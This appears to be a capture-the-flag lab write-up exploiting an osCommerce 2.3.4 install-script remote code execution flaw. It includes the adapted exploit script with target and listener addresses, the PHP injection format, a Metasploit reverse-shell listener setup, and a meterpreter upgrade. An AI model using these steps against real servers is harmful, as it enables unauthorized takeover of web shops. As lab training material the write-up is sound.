After spending some time analyzing the network shares, trying to find hidden directories in the various HTTP services, it seems that the most interesting part is the oscommerce installation on port 8080.

OSCommerce exploit preparation

Searching for exploits against version 2.3.4 reveals several critical vulnerabilities, one of which related to RCE:

Shellcodes: No Results

Let’s download it: 

$ ./searchsploit -m 44374

The script is initiated by default with a payload for a linux target: 

payload = '\');'
payload += 'system("ls");'    # this is where you enter you PHP payload
payload += '/*'

Let’s search for a Windows PHP reverse shell.

Now, we need to adapt our exploit’s payload to include this shell. Here is the final version of the exploit. All you need to change are the rhost, lhost and lport. 

# Exploit Title: osCommerce 2.3.4.1 Remote Code Execution
# Date: 29.0.3.2018
# Exploit Author: Simon Scannell - https://scannell-infosec.net <[email protected]>
# Version: 2.3.4.1, 2.3.4 - Other versions have not been tested but are likely to be vulnerable
# Tested on: Linux, Windows

# If an Admin has not removed the /install/ directory as advised from an osCommerce installation, it is possible
# for an unauthenticated attacker to reinstall the page. The installation of osCommerce does not check if the page
# is already installed and does not attempt to do any authentication. It is possible for an attacker to directly
# execute the "install_4.php" script, which will create the config file for the installation. It is possible to inject
# PHP code into the config file and then simply executing the code by opening it.


import requests

rhost = '10.10.249.97'
lhost = '10.9.0.54'
lport = 4444

# enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4)
base_url = "http://{}:8080//oscommerce-2.3.4./catalog/".format(rhost)
target_url = "http://{}:8080/oscommerce-2.3.4./catalog/install/install.php?step=4".format(rhost)

data = {
    'DIR_FS_DOCUMENT_ROOT': './'
}

# the payload will be injected into the configuration file via this code
# '  define(\'DB_DATABASE\', \'' . trim($HTTP_POST_VARS['DB_DATABASE']) . '\');' . "\n" .
# so the format for the exploit will be: '); PAYLOAD; /*

Exploit OSCommerce

Let’s open a listener in Metasploit: 

$ msfconsole -q
msf5 > use multi/handler
msf5 exploit(multi/handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.9.0.54
lhost => 10.9.0.54
msf5 exploit(multi/handler) > run

Now, let’s run our exploit: 

$ python exploit.py 
[+] Successfully launched the exploit. Open the following URL to execute your code

http://10.10.249.97:8080//oscommerce-2.3.4./catalog/install/includes/configure.php

Visit the URL that appears in the exploit’s output, and you should get a shell in Metasploit:

Upgrade shell to meterpreter

This is perfect! And we are already granted administrator’s privileges. Let’s upgrade our session to a meterpreter using session -u (upgrade).
